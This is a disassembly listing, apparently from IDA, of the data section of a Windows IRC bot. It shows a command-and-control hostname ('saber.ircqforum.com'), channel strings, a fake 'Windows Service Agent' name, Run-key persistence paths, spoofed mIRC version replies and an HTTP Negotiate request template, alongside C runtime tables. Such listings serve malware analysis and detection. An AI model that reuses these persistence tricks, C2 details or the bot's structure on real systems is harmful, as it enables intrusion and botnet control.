loc_426DE6:				; DATA XREF: sub_42657Ao
		mov	eax, offset dword_428118
		jmp	loc_41D08B
; ---------------------------------------------------------------------------
		dd 84h dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E0707h, 25F0000h, 25F0A24h
		dd 25F0A8Ah, 25F0EADh, 2600000h, 260082Ah, 2610000h, 261049Dh
		dd 26106AFh, 2610D92h, 2610FE4h
dword_42703C	dd 2620000h		; DATA XREF: ___:004230E1r
		dd 2620077h, 262030Bh, 2620354h, 26204A4h, 2630000h, 2640000h
		dd 2650000h, 26502C0h, 26506E7h, 2650709h, 265071Dh, 2660000h
		dd 2660391h, 77E75CB5h
dword_427078	dd 266053Bh		; DATA XREF: sub_40111D+B8r
					; ___:004014F9r ...
		dd 26607E0h, 2670000h, 26709B5h
dword_427088	dd 2670EE1h		; DATA XREF: sub_40111D+29r
					; sub_40C3D3+2E5r ...
dword_42708C	dd 2680000h		; DATA XREF: ___:004015DCr
					; sub_411694+32r
		dd 26801DBh
dword_427094	dd 268029Ah		; DATA XREF: sub_419BAA+B9r
		dd 26807A0h
dword_42709C	dd 26807F9h		; DATA XREF: sub_4119B7:loc_411A48r
dword_4270A0	dd 2680826h		; DATA XREF: ___:loc_4013D9r
		dd 2680CAEh, 2680DCEh
dword_4270AC	dd 2690000h		; DATA XREF: sub_4098FD+2r
		dd 2690180h, 26901D3h
dword_4270B8	dd 2690861h		; DATA XREF: ___:0040124Dr
					; sub_41A9BC+8Cr
dword_4270BC	dd 26908D2h		; DATA XREF: sub_411694:loc_411780r
		dd 26A0000h, 26A0BDFh
dword_4270C8	dd 26B0000h		; DATA XREF: sub_4098FD:loc_409E0Br
dword_4270CC	dd 26B03B1h		; DATA XREF: sub_4098FD+11r
					; sub_417269+60r ...
		dd 26C0000h, 26D0000h, 26D05ADh, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E05B2h, 26E074Ch
dword_4270F0	dd 26F0000h		; DATA XREF: sub_419134+Fr
					; sub_41DFD4+54r ...
dword_4270F4	dd 26F1192h		; DATA XREF: sub_4119B7+Br
		dd 2700000h, 2710000h
dword_427100	dd 27107F7h		; DATA XREF: sub_418791+36r
		dd 2710AF5h, 2710E8Eh, 2720000h
dword_427110	dd 27205DFh		; DATA XREF: sub_4118DE+3Ar
					; sub_41A152+79r
dword_427114	dd 2730000h		; DATA XREF: sub_4117E5+23r
					; sub_41A152+3Br
; ---------------------------------------------------------------------------
		push	ds
		adc	al, 73h
		add	al, [eax]
		add	[edx+eax+0], dh
		add	[ebp+2], dh
		retf	7504h
; ---------------------------------------------------------------------------
		db 2
		dd 2750A1Dh, 2760000h, 2770000h, 2780000h, 2780B29h, 2780E94h
		dd 2790000h, 27900E8h, 27904B1h, 27A0000h, 27A0953h
dword_427154	dd 27B0000h		; DATA XREF: sub_417269+BCr
		dd 27C0000h
dword_42715C	dd 27D0000h		; DATA XREF: sub_41743B+21r
					; sub_4175C4+4Ar
dword_427160	dd 27D0B9Eh		; DATA XREF: sub_41743B+10r
					; sub_4175C4+40r ...
		dd 27D0C29h
dword_427168	dd 27E0000h		; DATA XREF: sub_4175C4+56r
		dd 27E0352h, 27F0000h, 2800000h, 28005BAh, 2800ABCh, 2810000h
		dd 2810213h, 28107FFh, 2820000h, 2830000h
dword_427194	dd 2831071h		; DATA XREF: sub_419062+13r
					; ___:00423156r ...
		dd 2840000h, 28403EFh, 284085Ch, 2840BE6h, 2850000h, 2860000h
		dd 2870000h, 2880000h, 2890000h, 28A0000h, 28A1864h, 28A18A2h
		dd 28A1A45h, 28B0000h
dword_4271D0	dd 28B0668h		; DATA XREF: sub_41E4A2+23Fr
		align 8
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_4131AA+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_427214	dd 71AB5690h		; DATA XREF: sub_40E9CB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 71AB5DE2h, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401AC7+3448o
					; sub_401AC7+3527o ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401AC7+3857o
					; sub_401AC7+3897o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D2DB+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D2DB+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D327+16Fr
					; sub_40D765r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D327+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D4C9+4Do
					; sub_40D815+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040E71Cr
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:00416A11r
					; ___:00416A2Cr ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417E35+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417E35+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417E35+342r
					; sub_417E35+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417E35+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417E35+24Br
					; sub_417E35+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417E35+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417E35+AEr
					; sub_417E35+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417E35+93r
					; sub_417E35+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417E35+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418B82+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A9BC+1AEr
flt_427704	dd 8.0			; DATA XREF: sub_41A9BC+1A8r
					; sub_41F5D4+4Ar
flt_427708	dd 0.0			; DATA XREF: sub_41A9BC+16Fr
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A9BC+166r
dbl_427710	dq 1.0			; DATA XREF: sub_41CDE5+6Cr
					; sub_41CF2B+6Cr ...
		dd 0FFFFFFFFh, 41E1AAh,	41E1BEh
byte_427724	db 6			; DATA XREF: sub_41F5D4:loc_41F62Br
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43A89Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43A898o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43AB14o
dbl_427848	dq 0.0			; DATA XREF: sub_421294+8Cr
					; sub_421294+ACr ...
dbl_427850	dq 4.195835e6		; DATA XREF: sub_4217A9+Fr
dbl_427858	dq 3.145727e6		; DATA XREF: sub_4217A9+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4217E7o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_42190E+93o
		align 10h
dword_427890	dd 0FFFFFFFFh, 421FF9h,	422003h, 0 ; DATA XREF:	sub_421F92+5o
dword_4278A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4220C1+5o
		dd offset loc_42217F
		align 10h
		dd offset sub_42215D
		dd offset sub_422167
dword_4278B8	dd 0FFFFFFFFh, 4223AFh,	4223B3h, 0 ; DATA XREF:	sub_4221F7+5o
dword_4278C8	dd 0FFFFFFFFh, 422411h,	42241Ah, 0 ; DATA XREF:	sub_4223BB+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42249C+5o
		dd offset loc_4224ED
		align 8
		dd offset loc_4224D9
		dd offset loc_4224DD
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4224F2+5o
		dd offset loc_422543
		align 10h
		dd offset loc_42252F
		dd offset loc_422533
dword_427908	dd 2 dup(0)		; DATA XREF: sub_4229D2+36o
					; sub_423BF4+39o ...
dword_427910	dd 0FFFFFFFFh, 422AE2h,	422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah
					; DATA XREF: sub_4229D2+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43ACECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o
		align 4
asc_427BD8	db 0Ah			; DATA XREF: sub_4234D1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4234D1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do
		align 8
dword_427C18	dd 0FFFFFFFFh, 423CEDh,	423CF1h	; DATA XREF: sub_423BF4+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4246FC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424C88+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424C88+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42559E:loc_425693o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_42559E+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_42559E+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42559E+ADo
		align 4
dword_427CB8	dd 0FFFFFFFFh, 425F96h,	425F9Ah, 0FFFFFFFFh, 426005h, 426009h
					; DATA XREF: sub_425DDF+5o
		dd 427DF4h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
		dd offset sub_4263B5
		dd offset sub_4265D6
		dd offset dword_427E40
off_427CE4	dd offset sub_42642C	; DATA XREF: sub_4263DE+3Ao
					; sub_426448o ...
		dd offset sub_4263B5
		dd offset loc_426612
dword_427CF0	dd 0			; DATA XREF: sub_4263DE+16o
					; sub_4264B0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426453+11o
		dd offset dword_427E8C
off_427D10	dd offset sub_42653B	; DATA XREF: sub_426557o
					; sub_42657A+37o ...
		dd offset sub_4263B5
		dd offset loc_4265F4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42657A+11o
		dd offset dword_427ED0
off_427D30	dd offset loc_426760	; DATA XREF: sub_42674Bo
					; ___:off_43B414o ...
		dd offset dword_427F00
off_427D38	dd offset loc_42677C	; DATA XREF: sub_426798+8o
					; sub_4267D5+8o ...
		dd offset sub_426835
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_426835+7o
		align 8
dword_427D58	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426842+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D78	dd 0FFFFFFFFh, 4269F3h,	4269F7h, 0FFFFFFFFh, 426A70h, 426A74h
					; DATA XREF: sub_4268F1+5o
dword_427D90	dd 0FFFFFFFFh, 426C68h,	426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h
					; DATA XREF: sub_426B7C+5o
		dd 43B414h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DC0	dd offset off_43B42C	; DATA XREF: ___:00427DD8o
					; ___:00427E24o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427DE0	dd 3 dup(0)		; DATA XREF: ___:00427E04o
		dd 2, 427DD8h, 3 dup(0)
		dd offset off_43B42C
		dd offset dword_427DE0+4
off_427E08	dd offset off_43B44C	; DATA XREF: ___:00427E20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E08
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427E2C	dd 3 dup(0)		; DATA XREF: ___:00427E50o
		dd 3, 427E20h
dword_427E40	dd 3 dup(0)		; DATA XREF: ___:00427CE0o
		dd offset off_43B44C
		dd offset dword_427E2C+4
off_427E54	dd offset off_43B46C	; DATA XREF: ___:00427E6Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E54
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427E9Co
		dd 3, 427E6Ch
dword_427E8C	dd 3 dup(0)		; DATA XREF: ___:00427D0Co
		dd offset off_43B46C
		dd offset dword_427E78+4
off_427EA0	dd offset off_43B490	; DATA XREF: ___:00427EB8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427EA0
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427EE0o
		dd 1, 427EB8h
dword_427ED0	dd 3 dup(0)		; DATA XREF: ___:00427D2Co
		dd offset off_43B490
		dd offset dword_427EBC+4
		dd offset dword_427D90+18h
dword_427EE8	dd 4 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE4h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D34o
		dd offset off_43B414
		dd offset dword_427EE8+8
		align 8
dword_427F18	dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF:	___:loc_426D63o
		dd 0FFFFFFFFh, 426D4Ch,	0
		dd offset sub_426D44
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426D80o
		dd 0FFFFFFFFh, 426D70h,	0
		dd offset loc_426D78
dword_427F78	dd 19930520h, 2, 427F98h, 1, 427FA8h, 3	dup(0) ; DATA XREF: ___:loc_426D8Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FC0h, 4	dup(0)
		dd offset loc_40DA7F
		dd 0FFFFFFFFh, 426D96h
dword_427FD8	dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF:	___:loc_426D9Eo
		dd offset off_43B414
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4267D5h, 0
		dd offset off_43B42C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4264F8h, 0
		dd offset off_43B44C
		align 8
		dd 0FFFFFFFFh, 0
dword_428040	dd 1Ch,	426562h, 3, 42802Ch, 428010h, 427FF4h ;	DATA XREF: ___:00428064o
dword_428058	dd 0			; DATA XREF: sub_426453+2Eo
					; sub_4265D6+4Bo
		dd offset sub_426448
		dd 0
		dd offset dword_428040+8
		dd 0FFFFFFFFh, 426DA8h
dword_428070	dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF:	___:loc_426DB0o
		dd 0FFFFFFFFh, 426DBAh
dword_428094	dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF:	___:loc_426DC2o
		dd 0FFFFFFFFh, 426DCCh
dword_4280B8	dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF:	___:loc_426DD4o
		dd offset off_43B46C
		align 10h
		dd 0FFFFFFFFh, 0
dword_4280E8	dd 1Ch,	4265BEh, 3, 4280D4h, 428010h, 427FF4h ;	DATA XREF: ___:0042810Co
dword_428100	dd 0			; DATA XREF: sub_42657A+2Eo
					; sub_4265D6+2Do
		dd offset sub_426557
		dd 0
		dd offset dword_4280E8+8
		dd 0FFFFFFFFh, 426DDEh
dword_428118	dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF:	___:loc_426DE6o
dword_428134	dd 2, 428010h, 427FF4h	; DATA XREF: ___:0042814Co
dword_428140	dd 0			; DATA XREF: sub_4265D6+Fo
		dd offset sub_42639A
		dd 0
		dd offset dword_428134
		dd 5 dup(60233F13h), 5 dup(68B5ECCh), 5	dup(1C90011Ch)
		dd 7Ah dup(0)
		dd 1C90011Ch, 0
		dd 60233F13h, 15h dup(0)
		db 0CCh
		db 5Eh,	8Bh, 6
		dd 0Eh dup(0)
		dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041BF23o
		dd offset loc_401205
		dd offset sub_40DB2D
		dd offset sub_40E283
		dd offset dword_40EEEC+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041BF1Eo
dword_429018	dd 0			; DATA XREF: ___:0041BF14o
; ---------------------------------------------------------------------------
		retn	41D7h
; ---------------------------------------------------------------------------
		align 10h
		dd offset sub_4201A2
		dd offset sub_42383E
		dd offset word_424662
dword_42902C	dd 0			; DATA XREF: ___:loc_41BF0Fo
dword_429030	dd 0			; DATA XREF: sub_41BF53+65o
		dd offset sub_4238E3
dword_429038	dd 0			; DATA XREF: sub_41BF53:loc_41BFB3o
dword_42903C	dd 0			; DATA XREF: sub_41BF53+76o
		dd offset byte_424673
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41BF53:loc_41BFC4o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016BFr
					; ___:00401754r
dword_429070	dd 13FBh		; DATA XREF: ___:004017A0r
dword_429074	dd 1A08h		; DATA XREF: sub_401AC7:loc_4045E2r
dword_429078	dd 45h			; DATA XREF: sub_401AC7+201Er
					; sub_40BD7C+3Br
dword_42907C	dd 1F90h		; DATA XREF: sub_401AC7:loc_403BD0r
					; sub_40BD7C:loc_40C16Dr
dword_429080	dd 201h			; DATA XREF: sub_401AC7:loc_403D5Cr
word_429084	dw 7C7h			; DATA XREF: sub_401AC7:loc_404705r
		align 4
dword_429088	dd 1			; DATA XREF: sub_401AC7+640r
dword_42908C	dd 1			; DATA XREF: ___:loc_40155Fr
					; sub_418857+Cr
byte_429090	db 2Eh			; DATA XREF: sub_401AC7+A6Ar
					; sub_401AC7+B23r ...
		align 4
dword_429094	dd 5			; DATA XREF: sub_40AAA0+39r
					; sub_40AAA0+5Fr ...
dword_429098	dd 6			; DATA XREF: sub_4017E7+78r
					; sub_401AC7+27Cr ...
dword_42909C	dd 1			; DATA XREF: sub_4017E7+72r
					; sub_401AC7+276r
a1221		db '1221',0             ; DATA XREF: ___:0040127Eo
					; sub_401AC7:loc_40443Do ...
		align 4
aZxvsVrx	db 'ZxVs VRX',0         ; DATA XREF: sub_401AC7:loc_40490Co
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401AC7+7BD0o
					; sub_401AC7+7C9Fo
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo
					; ___:00401745o
byte_4290D0	db 56h			; DATA XREF: sub_40194F+28r
					; sub_40194F+30o
		db 72h,	58h, 0
dword_4290D4	dd 41414623h, 234Bh	; DATA XREF: ___:004016CBo
					; ___:0040175Bo ...
dword_4290DC	dd 64616173h, 2Eh	; DATA XREF: ___:004016E2o
					; ___:0040176Do
byte_4290E4	db 73h			; DATA XREF: ___:loc_401783r
					; ___:00401791o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004017A7o
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004017B9o
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401361o
					; ___:00401385w ...
		db 73h,	6Eh, 73h
		dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
aVrx		db 'VrX|',0
		align 10h
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401AC7+7D1Fo
		align 4
aF		db '#f',0               ; DATA XREF: sub_401AC7+1E81o
					; sub_401AC7+1E92o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401AC7+72B0o
					; sub_401AC7+7305o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401AC7+40EEo
					; sub_401AC7+423Bo
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401AC7:loc_4096E1o
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er
					; sub_401AC7+7C36o
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o
					; sub_41A68B+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o
					; sub_41A68B+D4o
		align 4
